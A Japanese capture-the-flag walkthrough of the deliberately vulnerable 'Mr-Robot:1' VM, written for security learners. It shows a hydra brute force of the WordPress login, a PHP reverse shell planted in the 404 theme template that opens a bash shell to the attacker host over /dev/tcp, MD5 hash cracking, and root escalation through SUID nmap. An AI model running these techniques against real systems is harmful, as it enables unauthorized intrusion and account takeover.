「Mr-Robot:1」は、「Leon Johnson」によって開発され、VulnHubにて公開されているシリーズの一つです。
リリース情報
名称: Mr-Robot:1
リリース日: 2016年6月28日
シリーズ: Mr-Robot
作者: Leon Johnson
注意:
macOS Chromeを使用して.OVAファイルをダウンロードした場合、.OVAファイルを.OVFにリネームしてダウンロードする既知の問題点が報告されています。
TryHackMeにおいては、「Mr Robot CTF」ルームとして公開されています。ローカル環境にて仮想イメージの「展開(Deploy)」が困難な場合、TryHackMeのプラットフォームを利用することをお勧めします。
Description
Based on the show, Mr. Robot.
This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.
The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.
このマシンの攻略とは、3つの「Key:フラグ」を獲得することにあります。
Walkthrough
列挙
稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、netdiscoverコマンドを使用します。
kali@kali:~$ sudo netdiscover -r 172.16.208.0
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
172.16.208.1 00:50:56:c0:00:08 1 60 VMware, Inc.
172.16.208.2 00:50:56:f3:32:8a 1 60 VMware, Inc.
172.16.208.142 00:0c:29:5f:e4:e5 1 60 VMware, Inc.
これで、標的のIPアドレスが172.16.208.142であることが特定できました。
実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。nmap -Pn -T4 -A -v 172.16.208.142コマンド構文を使用します。
kali@kali:~$ nmap -Pn -T4 -A -v 172.16.208.142
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-04 22:34 EDT
Nmap scan report for 172.16.208.142
Host is up (0.0011s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Issuer: commonName=www.example.com
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2015-09-16T10:45:03
| Not valid after: 2025-09-13T10:45:03
| MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97
|_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
| ポート番号 | サービス | バージョン |
|---|---|---|
| 80/tcp | http | Apache httpd |
| 443/tcp | ssl/http | Apache httpd |
HTTPサービスのスキャン
robots.txt ファイル
curlコマンドを使って80/tcpにアクセスしてみます。robots.txtファイルの有無を確認してみましょう。
kali@kali:~$ curl http://172.16.208.142/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
フラグ 1
key-1-of-3.txtファイルは1つめのフラグです。取得して内容を確認しましょう。
kali@kali:~$ curl http://172.16.208.142/key-1-of-3.txt
0734{BLOCKED}24b9
辞書ファイル
fsocity.dicファイルは何かの「辞書ファイル」と思われます。保存しておきましょう。
kali@kali:~$ curl http://172.16.208.142/fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
.
.
.
kali@kali:~$ curl http://172.16.208.142/fsocity.dic > fsocity.dic
fsocity.dicファイルには、単語の重複がみられます。次のとおり加工しておきましょう。
kali@kali:~$ wc -l fsocity.dic
858160 fsocity.dic
kali@kali:~$ cat fsocity.dic | sort | uniq > wordlist.txt
kali@kali:~$ wc -l wordlist.txt
11451 wordlist.txt
Firefoxブラウザを使って80/tcp、443/tcpにアクセスしてみます。
-
/ディレクトリ:80/tcp、443/tcpにてコンテンツに差はないようです。Commandsリストが表示され、試してみると応答が得られることがわかります。ただし、フラグに繋がる情報は得られません。
ウェブサイトの診断
ウェブサイトの脆弱性を診断するために、niktoを使用してみます。
kali@kali:~$ nikto -h 172.16.208.142
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 172.16.208.142
+ Target Hostname: 172.16.208.142
+ Target Port: 80
+ Start Time: 2020-10-04 23:02:11 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://172.16.208.142/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /wordpresswp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ /wordpresswp-login.php: Wordpress login found
+ 7917 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2020-10-04 23:14:51 (GMT-4) (760 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
WordPressにて構築されたサイトであることが特定できました。
さらに、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。wfuzzコマンドを使用します。
kali@kali:~$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u https://172.16.208.142/FUZZ --hc 404,403 -t 100
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: https://172.16.208.142/FUZZ
Total requests: 20473
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000026: 301 0 L 0 W 0 Ch "0"
000000038: 301 0 L 0 W 0 Ch "0000"
000000956: 301 0 L 0 W 0 Ch "Image"
000001816: 301 7 L 20 W 237 Ch "admin"
000002806: 301 7 L 20 W 237 Ch "audio"
000002769: 301 0 L 0 W 0 Ch "atom"
000003484: 301 7 L 20 W 236 Ch "blog"
000005517: 301 7 L 20 W 235 Ch "css"
000005721: 302 0 L 0 W 0 Ch "dashboard"
000007427: 200 0 L 0 W 0 Ch "favicon.ico"
000007468: 301 0 L 0 W 0 Ch "feed"
000009378: 301 7 L 20 W 238 Ch "images"
000009344: 301 0 L 0 W 0 Ch "image"
000009810: 200 2027 L 19569 489204 Ch "intro"
W
000010191: 301 7 L 20 W 234 Ch "js"
000010799: 200 385 L 3179 W 19930 Ch "license"
000011055: 302 0 L 0 W 0 Ch "login"
000013360: 301 0 L 0 W 0 Ch "page1"
000015014: 200 97 L 842 W 7334 Ch "readme"
000014994: 301 0 L 0 W 0 Ch "rdf"
000015553: 200 3 L 4 W 41 Ch "robots"
000015554: 200 3 L 4 W 41 Ch "robots.txt"
000015646: 301 0 L 0 W 0 Ch "rss"
000015649: 301 0 L 0 W 0 Ch "rss2"
000016639: 200 0 L 0 W 0 Ch "sitemap"
000016640: 200 0 L 0 W 0 Ch "sitemap.xml"
000019153: 301 7 L 20 W 237 Ch "video"
000019952: 301 7 L 20 W 240 Ch "wp-admin"
000019956: 301 7 L 20 W 242 Ch "wp-content"
000019968: 301 7 L 20 W 243 Ch "wp-includes"
000019955: 200 0 L 0 W 0 Ch "wp-config"
000019969: 200 53 L 161 W 2702 Ch "wp-login"
000020166: 405 0 L 6 W 42 Ch "xmlrpc"
Total time: 793.9228
Processed Requests: 20473
Filtered Requests: 20440
Requests/sec.: 25.78714
アクセス権の取得
WordPressの診断
nikto、wfuzzコマンドの結果から、WordPress 管理パネルが/wp-loginのままであることが判明しています。アクセスしてみましょう。

admin:adminの組み合わせを試してみます。「ERROR: Invalid username. Lost your password?」エラーメッセージが表示されました。

hydraコマンドとワードリスト(fsocity.dicファイルを加工して作成したwordlist.txt)を組み合わせてブルートフォース攻撃をしかけます。
ブルートフォース攻撃の詳細な手順については、「ログインフォームに対するブルートフォース(総当たり)攻撃によるパスワード解析」記事をご確認ください。
WordPress 管理パネル(wp-login)へログインする際のPOSTリクエストを記録します。
ここでは、ユーザー名wordpress、パスワードwordpressにてログインを試してみます。

hydraコマンドのhttp-post-formモジュールを使用し、このWebアプリケーションに対しブルートフォース攻撃を実行します。
kali@kali:~$ hydra -L wordlist.txt -p test 172.16.208.142 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-08 22:06:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://172.16.208.142:80/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=Invalid username
[STATUS] 1971.00 tries/min, 1971 tries in 00:01h, 9481 to do in 00:05h, 16 active
[80][http-post-form] host: 172.16.208.142 login: elliot password: test
[80][http-post-form] host: 172.16.208.142 login: ELLIOT password: test
[80][http-post-form] host: 172.16.208.142 login: Elliot password: test
[STATUS] 2037.33 tries/min, 6112 tries in 00:03h, 5340 to do in 00:03h, 16 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-08 22:11:43
3件の応答を得ることができました。
- login: elliot
- login: ELLIOT
- login: Elliot
有効なユーザーアカウントとパスワードtestを組み合わせてログインの試行を行います。
kali@kali:~$ hydra -l ELLIOT -P wordlist.txt 172.16.208.142 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=is incorrect"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-10 11:01:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://172.16.208.142:80/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=is incorrect
[STATUS] 1569.00 tries/min, 1569 tries in 00:01h, 9883 to do in 00:07h, 16 active
[STATUS] 1584.67 tries/min, 4754 tries in 00:03h, 6698 to do in 00:05h, 16 active
[80][http-post-form] host: 172.16.208.142 login: ELLIOT password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-10 11:04:55
hydraコマンドにてブルートフォース攻撃を行った結果、有効なユーザー名とパスワードの組は次のとおりでした。
| ユーザー名 | パスワード |
|---|---|
| elliot | ER28-0652 |
| ELLIOT | ER28-0652 |
| Elliot | ER28-0652 |
Elliot:ER28-0652の組み合わせを試してみます。ログインに成功しました。

リバースシェル
WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択します。その上でtwentyfourteen: 404 Template (404.php)を表示します。
次のリバースシェルコードと置き換えます。
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/172.16.208.137/4444 0>&1'");
?>
kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
kali@kali:~$ curl http://172.16.208.142/wordpress/wp-content/themes/twentyforteen/404.php
kali@kali:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.137] from (UNKNOWN) [172.16.208.142] 54044
bash: cannot set terminal process group (2193): Inappropriate ioctl for device
bash: no job control in this shell
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$
シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ python -c 'import pty; pty.spawn("/bin/bash")'
システム探索
/home/robotディレクトリに移動します。
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ cd /home
cd /home
daemon@linux:/home$ ls
ls
robot
daemon@linux:/home$ cd robot
cd robot
daemon@linux:/home/robot$
フラグkey-2-of-3.txtファイルがみえますが、参照権限がありません。
daemon@linux:/home/robot$ ls -al
ls -al
total 16
drwxr-xr-x 2 root root 4096 Nov 13 2015 .
drwxr-xr-x 3 root root 4096 Nov 13 2015 ..
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
daemon@linux:/home/robot$
password.raw-md5ファイルを参照します。
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
kaliマシンにて、取得したhashmd5ファイルを解析します。
kali@kali:~/OffsecVM$ touch hashmd5
kali@kali:~/OffsecVM$ echo robot:c3fcd3d76192e4007dfb496cca67e13b > hashmd5
kali@kali:~/OffsecVM$ /usr/sbin/john hashmd5 --format=Raw-MD5 --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2020-10-12 02:37) 1.162g/s 47106p/s 47106c/s 47106C/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
パスワードabcdefghijklmnopqrstuvwxyzの解析に成功しました。robotアカウントに切り替えます。
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$
フラグ 2
key-2-of-3.txtファイルは2つめのフラグです。取得して内容を確認しましょう。
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c{BLOCKED}f959
特権エスカレーション
SUIDビットが設定されたバイナリファイルを検索します。
robot@linux:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
「GTFOBins」は、ローカルのセキュリティ制限を回避するため利用できるバイナリのリストです。
このリストから「nmap」の項目を参照します。

この情報を参考に、次のコマンド構文を試行してみます。特権昇格に成功しました。
robot@linux:/opt/bitnami/apps/wordpress/htdocs$ cd
cd
robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#
システム探索
/rootディレクトリに移動します。
# cd /root
# ls -al
ls -al
total 32
drwx------ 3 root root 4096 Nov 13 2015 .
drwxr-xr-x 22 root root 4096 Sep 16 2015 ..
-rw------- 1 root root 4058 Nov 14 2015 .bash_history
-rw-r--r-- 1 root root 3274 Sep 16 2015 .bashrc
drwx------ 2 root root 4096 Nov 13 2015 .cache
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
フラグ 3
key-3-of-3.txtファイルは最後のフラグです。取得して内容を確認しましょう。
# cat key-3-of-3.txt
cat key-3-of-3.txt
0478{BLOCKED}b4e4
参考情報
類似マシン
Walkthrough
- abatchy's blog 「Mr Robot Walkthrough (Vulnhub)」
- Infosec Resources 「Vulnhub Machines Walkthrough Series — Mr. Robot [Updated 2019]」


